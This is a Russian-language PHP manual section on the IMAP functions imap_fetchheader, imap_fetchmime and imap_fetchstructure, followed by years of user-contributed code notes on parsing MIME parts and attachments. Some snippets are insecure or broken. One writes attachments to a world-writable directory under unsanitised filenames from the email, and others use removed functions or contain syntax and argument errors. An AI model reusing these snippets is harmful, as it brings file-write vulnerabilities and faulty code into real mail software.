        if (stristr($head, "Content-Type: message/rfc822")) {
            $part = substr($part, $endOfHead + $delLength, strlen($part));
            $returnParts[1] = mail_mimesub($part);
            return $returnParts;
        // if no message, get subparts and call function recursively
        } elseif ($subParts = mail_mimesplit($head, $body)) {
            // got more subparts
            while (list ($key, $val) = each($subParts)) {
                $returnParts[$i] = mail_mimesub($val);
                $i++;
            }
            return $returnParts;
        } else {
            return $body;
        }
    }

    // get an array with the bodies all parts of an email
    // the structure of the array corresponds to the
    // structure that is available with imap_fetchstructure
    function mail_fetchparts($mbox, $msgNo) {
        $parts = array();
        $header = imap_fetchheader($mbox,$msgNo);
        $body = imap_body($mbox,$msgNo, FT_INTERNAL);

        $i = 1;

        if ($newParts = mail_mimesplit($header, $body)) {
            while (list ($key, $val) = each($newParts)) {
                $parts[$i] = mail_mimesub($val);
                $i++;
            }
        } else {
            $parts[$i] = $body;
        }
        return $parts;

    }
bubblocity at yahoo dot com 24-Mar-2003 08:18
This is a well overdue addendum to the code submitted on
14-Jan-2002 02:58.  This function was called inside the GetParts function:

function concat_ws($separator, $str1, $str2){
    if(strlen($str1) && strlen($str2)){
        return $str1 . $separator . $str2;
    }
    else if (strlen($str1)){
        return $str1;
    }
    else if (strlen($str2)){
        return $str2;
    }
    else return '';

}
markusNOSPAM at broede dot NO_SPAM dot de 12-Aug-2002 08:54
Maybe you prefer a short and recursive way to parse a message
and get the part numbers built:
-------------------------------------------------------------

function parse_message($obj, $prefix="") {
/* Here you can process the data of the main "part" of the message, e.g.: */
  do_anything_with_message_struct($obj);

  if (sizeof($obj->parts) > 0)
    foreach ($obj->parts as $count=>$p)
      parse_part($p, $prefix.($count+1));
}

function parse_part($obj, $partno) {
/* Here you can process the part number and the data of the parts of the message, e.g.: */
  do_anything_with_part_struct($obj,$partno);

  if ($obj->type == TYPEMESSAGE)
    parse_message($obj->parts[0], $partno.".");
  else
    if (sizeof($obj->parts) > 0)
      foreach ($obj->parts as $count=>$p)
        parse_part($p, $partno.".".($count+1));
}

/* Let's say, you have an already opened mailbox stream $mbox
   and you like to parse through the first message: */

$msgno = 1;
parse_message(imap_fetchstructure($mbox,$msgno));
sarachaga at yahoo dot com 04-Mar-2002 11:23
For those guys trying to extract a message/rfc822 parts correctly here is a hint:

As you may note, if you recurse over the structure object returned by imap_fetchstructure, when you reach the message/rfc822 you find that the message itself counts as a part too, so an attachment in that message should be 2.1.2 (the .1. is the whole rfc822 msg), but if you use that part number in imap_fetchbody you get nothing.

What i did is: my recursing function checks if the part/subtype of a particular part is message/rfc822, and only in that case i do not concatenate the .1 to the part number, because as far as i know, this only happens with this kind of message. And for all the other parts (non rfc822) it concats the dot-partnumber.
ac at artcenter dot ac 17-Feb-2002 05:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
bubblocity at yahoo dot com 14-Jan-2002 01:58
If you are trying to fetch the body part and don't know what to fetch,
here is a function that will return all the body parts as a single string with each part separated by '|' character.
Followed by a fuction which will retrieve the structure of that part.

You can then parse the return string by explode() and call imap_fetchbody() on each of the parts.

Chunks of this code was stolen from the following site:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp

<pre>
#Function Gets all the subparts , but does not get part: ''
function GetParts($this_part, $part_no) {

        //If it is type message(2)=msg envelope,
    //Not sure about this assumption : the if statement
    //double check with RFC822 on this one.

    if($this_part->type==2){
        //and there is only 1 subpart of the envelope
        //and that subpart is multipart
        //otherwise will generate excessive '.1' and
        //send wrong part_no to imap_fetchbody
                if($this_part->parts[0]->type==1){
                $this_part=$this_part->parts[0];
                }
        }

        if (count($this_part->parts)>0) {
                for ($i = 0; $i < count($this_part->parts); $i++) {
                        if ($part_no != "") {
                $newpartno = $part_no . '.' . ($i +1);
            }
                        else $newpartno = $i+1;

            $partstringary[$i] =
                GetParts($this_part->parts[$i], $newpartno);
                }//for
                $partstring = implode('|', $partstringary);

        }//if
        $partstring = concat_ws('|', $part_no , $partstring);
        //echo $partstring ;
        return $partstring;
}

#########################################
#Companion function go to GetParts();
#Given the partno - returns the structure
#########################################
function GetSubPartStructure($mbox, $msgno, $partno){

        $msg_struct = imap_fetchstructure($mbox, $msgno);
        $partsary = explode ('.', $partno);
        $subpartstruct = $msg_struct;

        for ($i=0; $i< count($partsary); $i++){
        //Not sure about this, if assumption
        // you should probably double check with RFC822 on this one.
                if($subpartstruct->type==2){
                        if($subpartstruct->parts[0]->type==1){
                          $subpartstruct=$subpartstruct->parts[0];
                        }
                }
                $subpartstruct = $subpartstruct->parts[$partsary[$i]-1];
        }
        return $subpartstruct;
}

function decodemsg($msgstring, $encoding){
        //Write your own function to decode,
    //or lots of examples within PHP already.
    return $decodemsg;
}

#Usage:
$msg_struct = imap_fetchstructure($mbox, $msgno);
$msgparts= GetParts($msg_struct, $part_no);
$partsary = explode($msgparts, '|');
for($i=0; $i<count($parsary);$i++){
    $substruct = GetSubPartStructure($mbox, $msgno, $partsary[$i]);
    if($substruct->type==''){
        //then this is type TEXT
        $msg = imap_fetchbody($mbox, $msgno, $msgpartsary[$i]);
        //Do the decoding
        $msg = decodemsg($msg, $struct->encoding);
        echo $msg; //or do whatever you want with it.
    }
    else{ //Not TEXT
        //Do whatever you want
        //i.e. write the attachment...etc
    }
}

</pre>
pmzandbergen at yahoo dot com 10-Jul-2001 07:56
Nice function above. However, there are some webmail (normaly plain text) services like you which don't use structure type 'ATTACHMENT' with the attachments, but 'INLINE' (also plain text is called like this). Just replace
if (strtoupper ($structure->disposition) == "ATTACHMENT"){
with

            if (strtoupper ($structure->disposition) == "ATTACHMENT" || strtoupper ($structure->disposition) == "INLINE" && strtoupper ($structure->subtype) != "PLAIN") {

But remember, when uou send a message with plaintext & attachment, also the plaintext is an attachment
rfinnie at kefta dot com 14-Dec-2000 02:23
With regard to message/rfc822 parts, it appears that the IMAP c-client that PHP uses does not follow the IMAP RFC (#2060) correctly.  The RFC specifies that to grab the headers for a message/rfc822 part, you would request part "2.HEADER" (assuming 2 is your part number), and the full text of the part would be "2.TEXT".  Instead, "2.0" will grab the headers, and just "2" will get the text.
cleong at organic dot com 04-Apr-2000 09:19
Here's a routine that yields the part of a message with a particular MIME type:

<?php
function get_mime_type(&$structure) {
    $primary_mime_type = array("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
    if($structure->subtype) {
         return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
     }
     return "TEXT/PLAIN";
}

function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false) {
    if (!$structure) {
         $structure = imap_fetchstructure($stream, $msg_number);
     }
    if($structure) {
         if($mime_type == get_mime_type($structure)) {
              if(!$part_number) {
                   $part_number = "1";
               }
              $text = imap_fetchbody($stream, $msg_number, $part_number);
              if($structure->encoding == 3) {
                   return imap_base64($text);
               } else if ($structure->encoding == 4) {
                   return imap_qprint($text);
               } else {
                   return $text;
            }
        }
         if ($structure->type == 1) { /* multipart */
              while (list($index, $sub_structure) = each($structure->parts)) {
                if ($part_number) {
                    $prefix = $part_number . '.';
                }
                $data = get_part($stream, $msg_number, $mime_type, $sub_structure, $prefix . ($index + 1));
                if ($data) {
                    return $data;
                }
            }
        }
    }
    return false;
}

// get plain text
$data = get_part($stream, $msg_number, "TEXT/PLAIN");
// get HTML text
$data = get_part($stream, $msg_number, "TEXT/HTML");
?>

Right now only the first part with the matching MIME type is returned. A more useful version would create an array and return all matching parts (for GIFs, for instance).


Получить заголовок сообщения

  • « imap_fetchbody
  • imap_fetchmime »
  • PHP Manual
  • Функции IMAP
  • Получить заголовок сообщения

imap_fetchheader

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchheader — Получить заголовок сообщения

Описание

imap_fetchheader(IMAP\Connection $imap, int $message_num, int $flags = 0): string|false

Эта функция извлекает полный, нефильтрованный заголовок в формате » RFC2822 для заданного сообщения.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

flags

Допустимые значения flags:

  • FT_UID - параметр message_num является UID
  • FT_INTERNAL - возвращать строку во внутреннем формате, без преобразования концов строк к CRLF.
  • FT_PREFETCHTEXT - одновременно должен быть подгружён RFC822.TEXT. Это позволяет избежать лишнего RTT при соединении IMAP, если выбран полный текст сообщения (например при операции "сохранить в файл")

Возвращаемые значения

Возвращает заголовок сообщения в виде строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_fetch_overview() - Обзор информации, содержащейся в заголовках сообщений

User Contributed Notes

george dot who at gmail dot com 15-Jun-2015 02:03
Here is a simple function to get an array with all headers.

<?php
function mail_header_parse($mbox,$msg){
    $header=imap_fetchheader($mbox,$msg);
    preg_match_all("/^([^\r\n:]+)\s*[:]\s*([^\r\n:]+(?:[\r]?[\n][ \t][^\r\n]+)*)/m",$header,$matches,PREG_SET_ORDER);
    foreach($matches as $match){
        $match[2]=iconv_mime_decode($match[2],ICONV_MIME_DECODE_CONTINUE_ON_ERROR,'utf-8');
        if(is_array($headers[$match[1]])){
            $headers[$match[1]][]=$match[2];
        }elseif(isset($headers[$match[1]])){
            $headers[$match[1]]=array($headers[$match[1]],$match[2]);
        }else{
            $headers[$match[1]]=$match[2];
        }
    }
    return $headers;
}
?>
rgagnon24 dot nospam at gmail dot com 24-Jun-2010 09:52
Interesting that imap_headerinfo() does not allow a UID for the $msg_number field like all other fetching functions seem to allow.

If you want to use a UID to fetch the headers, use this two-step process:

<?php
/*
 * assumes $mbox is your stream, and $uid is set
 * properly. Proper error checking is up to you.
 */
$hText = imap_fetchbody($mbox, $uid, '0', FT_UID);
$headers = imap_rfc822_parse_headers($hText);
?>

The result is the same as the output of imap_headerinfo(), but you get to use the UID.
Jille at nomorecrap dot quis dot cx 06-Apr-2008 03:15
<?PHP
$headers=imap_fetchheader($imap, $msgid);
preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)\r\n/m', $headers, $matches);
?>

Works quite well for splitting headers,
$matches will contain 3 arrays:
$matches[0] are the full-lines (To: Jille@devnull.quis.cx\r\n)
$matches[1] will be the header (To)
$matches[2] will be the value (Jille@devnull.quis.cx)

In multi-line values the 'multilining is not stripped!'
this could be achieved with something like:
<?PHP
preg_replace('/\r\n\s+/m', '', $matches[2]);
?>
onofabio at gmail dot com 07-Mar-2008 03:18
This function ignore that some header value have multiple lines...

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>

I write this simple function....

$mbox = imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");
$mid=1 // Message id

// Get headers
$header = imap_fetchheader($mbox, $mid);

// Split on \n
$h_array=split("\n",$header);

foreach ( $h_array as $h ) {

    // Check if row start with a char
    if ( preg_match("/^[A-Z]/i", $h )) {

        $tmp = split(":",$h);
    $header_name = $tmp[0];
    $header_value = $tmp[1];

    $headers[$header_name] = $header_value;

    } else {
        // Append row to previous field
    $headers[$header_name] = $header_value . $h;
    }

}
Max Geiger 08-Mar-2007 03:59
If you call the function with the bitmask-parameter FT_PREFETCHTEXT the /Seen flag of the message will be set.
dj_doktor at upskirt dot cz 03-Apr-2005 07:17
I spend lot of time find out how I can detect messages with
different priorities. When I read users notes I remember
function imap_fetchheader which show header of message
and additional headers too. Because I'm so lazy to work with
regular expressions I required my frend for writing code
- thanx Znouza.
And there is... :)

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>


Извлечь MIME-заголовки для конкретной секции сообщения

  • « imap_fetchheader
  • imap_fetchstructure »
  • PHP Manual
  • Функции IMAP
  • Извлечь MIME-заголовки для конкретной секции сообщения

imap_fetchmime

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

imap_fetchmime — Извлечь MIME-заголовки для конкретной секции сообщения

Описание

imap_fetchmime(
IMAP\Connection $imap,
int $message_num,
string $section,
int $flags = 0
): string|false

Извлекает MIME-заголовки для конкретной секции сообщения.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

section

Номер секции сообщения. Строка целых чисел, разделённых точками, определяющая часть тела сообщения в соответствии со спецификацией IMAP4

flags

Битовая маска из одной или нескольких опций:

  • FT_UID - параметр message_num является UID
  • FT_PEEK - Не устанавливать флаг \Seen, если он уже не установлен
  • FT_INTERNAL - возвращать строку во внутреннем формате, без преобразования концов строк к CRLF.

Возвращаемые значения

Возвращает MIME-заголовки для конкретной секции сообщения в виде строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_fetchbody() - Извлечь конкретную секцию тела сообщения
  • imap_fetchstructure() - Прочитать структуру указанного сообщения
  • imap_fetchheader() - Получить заголовок сообщения

User Contributed Notes

There are no user contributed notes for this page.


Прочитать структуру указанного сообщения

  • « imap_fetchmime
  • imap_fetchtext »
  • PHP Manual
  • Функции IMAP
  • Прочитать структуру указанного сообщения

imap_fetchstructure

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchstructure — Прочитать структуру указанного сообщения

Описание

imap_fetchstructure(IMAP\Connection $imap, int $message_num, int $flags = 0): stdClass|false

Извлекает информацию о структуре указанного сообщения.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

flags

Если задано как FT_UID, то в message_num должны быть UID сообщений, а не их номера.

Возвращаемые значения

Возвращает объект со свойствами, перечисленными в таблице ниже или false в случае возникновения ошибки.

Объект, возвращаемый imap_fetchstructure()
type | Первичный тип тела
encoding | Кодировка тела
ifsubtype | true, если есть строка подтипа
subtype | MIME-подтип
ifdescription | true, если есть строка описания
description | Контент строки описания
ifid | true, если есть строка идентификатор
id | Строка идентификатор
lines | Количество строк
bytes | Количество байт
ifdisposition | true, если есть строка расположения
disposition | Строка расположения
ifdparameters | true, если есть массив dparameters
dparameters | Массив объектов, каждый из которых имеет свойства "attribute" и "value", соответствующие параметрам Content-disposition заголовка MIME.
ifparameters | true, если есть массив параметров
parameters | Массив объектов, каждый из которых имеет свойства "attribute" и "value".
parts | Массив объектов идентичных по структуре с верхнеуровневым объектом, каждый из которых соответствует MIME части тела.

Первичный тип тела (значения могут отличаться в зависимости от используемой библиотеки, так что рекомендуется использовать константы)
Значение | Тип | Константа
0 | text | TYPETEXT
1 | multipart | TYPEMULTIPART
2 | message | TYPEMESSAGE
3 | application | TYPEAPPLICATION
4 | audio | TYPEAUDIO
5 | image | TYPEIMAGE
6 | video | TYPEVIDEO
7 | model | TYPEMODEL
8 | other | TYPEOTHER

Кодировка (значения могут отличаться в зависимости от используемой библиотеки, так что рекомендуется использовать константы)
Значение | Тип | Константа
0 | 7bit | ENC7BIT
1 | 8bit | ENC8BIT
2 | Binary | ENCBINARY
3 | Base64 | ENCBASE64
4 | Quoted-Printable | ENCQUOTEDPRINTABLE
5 | other | ENCOTHER

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_fetchbody() - Извлечь конкретную секцию тела сообщения
  • imap_bodystruct() - Прочитать структуру указанной секции тела заданного сообщения

User Contributed Notes

hello at ivanbogomolov dot ru 08-Apr-2019 11:33
If you logic based on compare structure strings, you must compare it case insensetive.
<?php

$p = imap_fetchstructure($this->_imap_resource, $mid);
//do not compare $p->disposition == 'INLINE'
if(preg_match('/inline/i', $p->disposition))
{
 //this works
}
?>
alchrystal88 at web dot de 24-Jan-2019 11:44
If you have errors with wrong attachment names like this:

correct name:
String -> Prufbericht Hersteller.pdf

fetchstructure object name:
 =?ISO-8859-1?Q?Pr=FCfbericht_Hersteller=2Epdf?=

Workaround to reconvert:

imap_mime_header_decode($fetchstructure->dparameters->value)[0]->text

imap_mime_header_decode($filename)[0]->text
Anonymous 20-Jun-2013 10:52
I improved the code from this post (
http://www.php.net/manual/en/function.imap-fetchstructure.php#51497) a bit, now it handles multi embedded email correctly, and gives you a content with not marking character, like the '=' (soft line break).

<?php
//return is structured as
// $mail = array ( 'body' => ...
//          'attachment' => array() );
function _get_body_attach($mbox, $mid) {
    $struct = imap_fetchstructure($mbox, $mid);

    $parts = $struct->parts;
    $i = 0;
    if (!$parts) { /* Simple message, only 1 piece */
        $attachment = array(); /* No attachments */
        $content = imap_body($mbox, $mid);
    } else { /* Complicated message, multiple parts */

        $endwhile = false;

        $stack = array(); /* Stack while parsing message */
        $content = "";    /* Content of message */
        $attachment = array(); /* Attachments */

        while (!$endwhile) {
            if (!$parts[$i]) {
                if (count($stack) > 0) {
                    $parts = $stack[count($stack)-1]["p"];
                    $i     = $stack[count($stack)-1]["i"] + 1;
                    array_pop($stack);
                } else {
                    $endwhile = true;
                }
            }

            if (!$endwhile) {
                /* Create message part first (example '1.2.3') */
                $partstring = "";
                foreach ($stack as $s) {
                    $partstring .= ($s["i"]+1) . ".";
                }
                $partstring .= ($i+1);

                if (strtoupper($parts[$i]->disposition) == "ATTACHMENT" || strtoupper($parts[$i]->disposition) == "INLINE") { /* Attachment or inline images */
                    $filedata = imap_fetchbody($mbox, $mid, $partstring);
                    if ( $filedata != '' ) {
                        // handles base64 encoding or plain text
                        $decoded_data = base64_decode($filedata);
                        if ( $decoded_data == false ) {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $filedata);
                        } else {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $decoded_data);
                        }
                    }
                } elseif (strtoupper($parts[$i]->subtype) == "PLAIN" && strtoupper($parts[$i+1]->subtype) != "HTML") { /* plain text message */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                } elseif ( strtoupper($parts[$i]->subtype) == "HTML" ) {
                    /* HTML message takes priority */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                }
            }

            if ($parts[$i]->parts) {
                if ( $parts[$i]->subtype != 'RELATED' ) {
                    // a glitch: embedded email message have one additional stack in the structure with subtype 'RELATED', but this stack is not present when using imap_fetchbody() to fetch parts.
                    $stack[] = array("p" => $parts, "i" => $i);
                }
                $parts = $parts[$i]->parts;
                $i = 0;
            } else {
                $i++;
            }
        } /* while */
    } /* complicated message */

    $ret = array();
    $ret['body'] = quoted_printable_decode($content);
    $ret['attachment'] = $attachment;
    return $ret;
}
?>
raulggonzalez at gmail dot com 21-Sep-2010 05:54
Hello eveybody,

After reading plenty of posts (some good, some others not so good) I want to post a function to find out whether an email is coming with attachments

The function can be called passing the object returned by imap_fetchstructure() or any of its parts (recursively)

<?php
$inbox = imap_open($hostname,$username,$password) or die('Cannot connect to mail: ' . imap_last_error());
$struct = imap_fetchstructure($inbox,$uid,FT_UID);
$existAttachments = existAttachment($struct);

function existAttachment($part){
    if (isset($part->parts)){
        foreach ($part->parts as $partOfPart){
            existAttachment($partOfPart);
        }
    }
    else{
        if (isset($part->disposition)){
            if ($part->disposition == 'attachment'){
                echo '<p>' . $part->dparameters[0]->value . '</p>';
// here you can create a link to the file whose name is  $part->dparameters[0]->value to download it
                return true;
            }
        }
    }
}
?>

Hopefully somebody can use it as well
burninleo at gmx dot net 03-Aug-2010 09:42
Use imap_errors() to get rid of sticky error messages about incorrect MIME headers.
Rui Torre rui_sharkye at hotmail dot com 02-Nov-2008 02:34
I've made this two functions to decode mime headers and so far they are working just fine decoding all headers. Please let me know if you find any error. Hope they are useful for you too.

<?php

function decode_headers($cabecalho){
        while (preg_match('/^(.*)=\?([^?]*)\?(Q|B)\?(.*)$/Ui', $cabecalho)){
            $cabecalho = preg_replace("/(\t|\r|\n)/", "", $cabecalho);
            $cabecalho = preg_replace("/\?(Q|B)\?=/Ui", "?\\1? =", $cabecalho);

            $partes_cabecalho = explode("?=", $cabecalho);

            $resultado = "";
            foreach ($partes_cabecalho as $texto){
                $texto = preg_replace("/\?(Q|B)\?\s=/Ui", "?\\1?=", $texto);
                $texto = preg_replace("/\?(Q|B)\?/Ui", "=?\\1=?", $texto);

                if (preg_match('/^(.*)=\?([^?]*)=\?(Q|B)=\?(.*)$/Ui', $texto)){
                    $partes_texto = explode ("=?", $texto);

                    $parte = descodificar_parte($partes_texto[0], $partes_texto[1]);
                    $parte .= descodificar_parte($partes_texto[3], $partes_texto[2]);
                } else {
                    $parte = $texto;
                }

                if (strtoupper($partes_texto[1]) == "UTF-8"){ $parte = utf8_decode($parte);}
                $resultado .= $parte;
            }
            $cabecalho = $resultado;
        }

        return trim($cabecalho);
    }

    function descodificar_parte($texto, $codificacao){
        if (trim($texto) == ""){ return "";}

        if (ucfirst($codificacao) == "B"){
            $texto = base64_decode($texto);
            $texto = htmlspecialchars($texto);
        } else if (ucfirst($codificacao) == "Q"){
            $texto = str_replace("_", " ", $texto);
            $texto = quoted_printable_decode($texto);
        }
        return $texto;
    }

?>
david at hundsness dot com 02-Sep-2008 02:31
Here is code to parse and decode all types of messages, including attachments. I've been using something like this for awhile now, so it's pretty robust.

<?
function getmsg($mbox,$mid) {
    // input $mbox = IMAP stream, $mid = message id
    // output all the following:
    global $charset,$htmlmsg,$plainmsg,$attachments;
    $htmlmsg = $plainmsg = $charset = '';
    $attachments = array();

    // HEADER
    $h = imap_header($mbox,$mid);
    // add code here to get date, from, to, cc, subject...

    // BODY
    $s = imap_fetchstructure($mbox,$mid);
    if (!$s->parts)  // simple
        getpart($mbox,$mid,$s,0);  // pass 0 as part-number
    else {  // multipart: cycle through each part
        foreach ($s->parts as $partno0=>$p)
            getpart($mbox,$mid,$p,$partno0+1);
    }
}

function getpart($mbox,$mid,$p,$partno) {
    // $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple
    global $htmlmsg,$plainmsg,$charset,$attachments;

    // DECODE DATA
    $data = ($partno)?
        imap_fetchbody($mbox,$mid,$partno):  // multipart
        imap_body($mbox,$mid);  // simple
    // Any part may be encoded, even plain text messages, so check everything.
    if ($p->encoding==4)
        $data = quoted_printable_decode($data);
    elseif ($p->encoding==3)
        $data = base64_decode($data);

    // PARAMETERS
    // get all parameters, like charset, filenames of attachments, etc.
    $params = array();
    if ($p->parameters)
        foreach ($p->parameters as $x)
            $params[strtolower($x->attribute)] = $x->value;
    if ($p->dparameters)
        foreach ($p->dparameters as $x)
            $params[strtolower($x->attribute)] = $x->value;

    // ATTACHMENT
    // Any part with a filename is an attachment,
    // so an attached text file (type 0) is not mistaken as the message.
    if ($params['filename'] || $params['name']) {
        // filename may be given as 'Filename' or 'Name' or both
        $filename = ($params['filename'])? $params['filename'] : $params['name'];
        // filename may be encoded, so see imap_mime_header_decode()
        $attachments[$filename] = $data;  // this is a problem if two files have same name
    }

    // TEXT
    if ($p->type==0 && $data) {
        // Messages may be split in different parts because of inline attachments,
        // so append parts together with blank row.
        if (strtolower($p->subtype)=='plain')
            $plainmsg. = trim($data) ."\n\n";
        else
            $htmlmsg. = $data ."<br><br>";
        $charset = $params['charset'];  // assume all parts are same charset
    }

    // EMBEDDED MESSAGE
    // Many bounce notifications embed the original message as type 2,
    // but AOL uses type 1 (multipart), which is not handled here.
    // There are no PHP functions to parse embedded messages,
    // so this just appends the raw source to the main message.
    elseif ($p->type==2 && $data) {
        $plainmsg. = $data."\n\n";
    }

    // SUBPART RECURSION
    if ($p->parts) {
        foreach ($p->parts as $partno0=>$p2)
            getpart($mbox,$mid,$p2,$partno.'.'.($partno0+1));  // 1.2, 1.2.1, etc.
    }
}
?>
phpnet,a,emailaddress,cjb,net 26-Sep-2007 07:13
Another comment to inform people about something that should really be in the function description:

imap_fetchstructure() downloads the entire email, attachments and all, rather than just the structure.
I guess it's an undocumented feature, not a bug.

I had assumed that the script would have only downloaded the amount of data that was returned, but my script downloaded a cumulative 2.5gig before i noticed.  Hopefully no-one else will have this happen.
oersoep at gmail dot com 29-Jan-2006 11:58
Please keep in mind that the "parameters" array is a stdClass object when there are no parameters, and NOT a zero-size array.
In PHP5 you'll get this error when iterating structure->parts[x]->parameters if there aren't any parameters for this part:

PHP Fatal error:  Cannot use object of type stdClass as array in file.php on line 100
sirber at detritus dot qc dot ca 04-Jan-2006 11:48
"Primary body type" of "unknown/unknown" will be int(9).
hans at lintoo dot dk 22-Sep-2005 07:07
To fetch a single part (for example to investigate a charset or something like that)

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {
        $this->structureObject = $structureInfo;

    }

    // snip....

    public function getPart($partNum) {
        $path = split("[.]",$partNum);
        $currentPart = $this->structureObject;
        foreach ($path as $key => $num) {
            $currentPart = $currentPart->parts[$num-1];
        }
        return $currentPart;
    }
}
?>
hans at lintoo dot dk 22-Sep-2005 06:14
A class for searching through a stucture object.
You can search matching 1-3 parameters or use the methods included.
Feel free to use it, correct it or extend it if you please. Enjoy!

http://lintoo.dk/public/structureengine.class.phps

The code was too wide for this manual, so I hope the link above will do. Here a quick overview instead:

<?php
class StructureEngine {
    private $structureObject;
    public function __construct($structureInfo) {}
    public function locatePlain() {}
    public function locateHTML() {}
    public function locateAttachments() {}
    private function checkParam($part, $type, $value) {}
    private function findParts($partsArray, $prefix, $param1Type = 'type', $param1Value = 0, $param2Type = null, ...) {}
}
?>
john at vetsurgeon dot org dot uk 04-Jul-2005 09:07
A little script I threw together to break a message down and process it into a usable array

<?
//script will fetch an email identified by $msgid, and parse the its parts into an
//array $partsarray
//structure of array:
//$partsarray[<name of part>][<attachment/text>]
//if attachment- subarray is [filename][binary data]
//if text- subarray is [type of text(HTML/PLAIN)][text string]

//i.e.
//$partsarray[3.1][attachment][filename]=filename of attachment in part 3.1
//$partsarray[3.1][attachment][binary]=binary data of attachment in part 3.1
//$partsarray[2][text][type]=type of text in part 2
//$partsarray[2][text][string]=decoded text string in part 2
//$partsarray[not multipart][text][string]=decoded text string in message that isn't multipart

function parsepart($p,$i){
    global $link,$msgid,$partsarray;
    //where to write file attachments to:
    $filestore = '[full/path/to/attachment/store/(chmod777)]';

    //fetch part
    $part=imap_fetchbody($link,$msgid,$i);
    //if type is not text
    if ($p->type!=0){
        //DECODE PART
        //decode if base64
        if ($p->encoding==3)$part=base64_decode($part);
        //decode if quoted printable
        if ($p->encoding==4)$part=quoted_printable_decode($part);
        //no need to decode binary or 8bit!

        //get filename of attachment if present
        $filename='';
        // if there are any dparameters present in this part
        if (count($p->dparameters)>0){
            foreach ($p->dparameters as $dparam){
                if ((strtoupper($dparam->attribute)=='NAME') ||(strtoupper($dparam->attribute)=='FILENAME')) $filename=$dparam->value;
                }
            }
        //if no filename found
        if ($filename==''){
            // if there are any parameters present in this part
            if (count($p->parameters)>0){
                foreach ($p->parameters as $param){
                    if ((strtoupper($param->attribute)=='NAME') ||(strtoupper($param->attribute)=='FILENAME')) $filename=$param->value;
                    }
                }
            }
        //write to disk and set partsarray variable
        if ($filename!=''){
            $partsarray[$i][attachment] = array('filename'=>$filename,'binary'=>$part);
            $fp=fopen($filestore.$filename,"w+");
            fwrite($fp,$part);
            fclose($fp);
            }
    //end if type!=0
    }

    //if part is text
    else if($p->type==0){
        //decode text
        //if QUOTED-PRINTABLE
        if ($p->encoding==4) $part=quoted_printable_decode($part);
        //if base 64
        if ($p->encoding==3) $part=base64_decode($part);

        //OPTIONAL PROCESSING e.g. nl2br for plain text
        //if plain text

        if (strtoupper($p->subtype)=='PLAIN')1;
        //if HTML
        else if (strtoupper($p->subtype)=='HTML')1;
        $partsarray[$i][text] = array('type'=>$p->subtype,'string'=>$part);
    }

    //if subparts... recurse into function and parse them too!
    if (count($p->parts)>0){
        foreach ($p->parts as $pno=>$parr){
            parsepart($parr,($i.'.'.($pno+1)));
            }
        }
return;
}

//open resource
$link=imap_open("{localhost:110/pop3}INBOX",'[YOUR USERNAME]','[YOUR PASSWORD]');

//fetch structure of message
$s=imap_fetchstructure($link,$msgid);

//see if there are any parts
if (count($s->parts)>0){
foreach ($s->parts as $partno=>$partarr){
    //parse parts of email
    parsepart($partarr,$partno+1);
    }
}

//for not multipart messages
else{
    //get body of message
    $text=imap_body($link,$msgid);
    //decode if quoted-printable
    if ($s->encoding==4) $text=quoted_printable_decode($text);
    //OPTIONAL PROCESSING
    if (strtoupper($s->subtype)=='PLAIN') $text=$text;
    if (strtoupper($s->subtype)=='HTML') $text=$text;

    $partsarray['not multipart'][text]=array('type'=>$s->subtype,'string'=>$text);
}

print_r($partsarray);
?>
masterbassist 18-Apr-2005 09:52
I think the following line (when building attachment information)

>>> "filename" => $parts[$i]->parameters[0]->value

needs to be

>>> "filename" => $parts[$i]->dparameters[0]->value

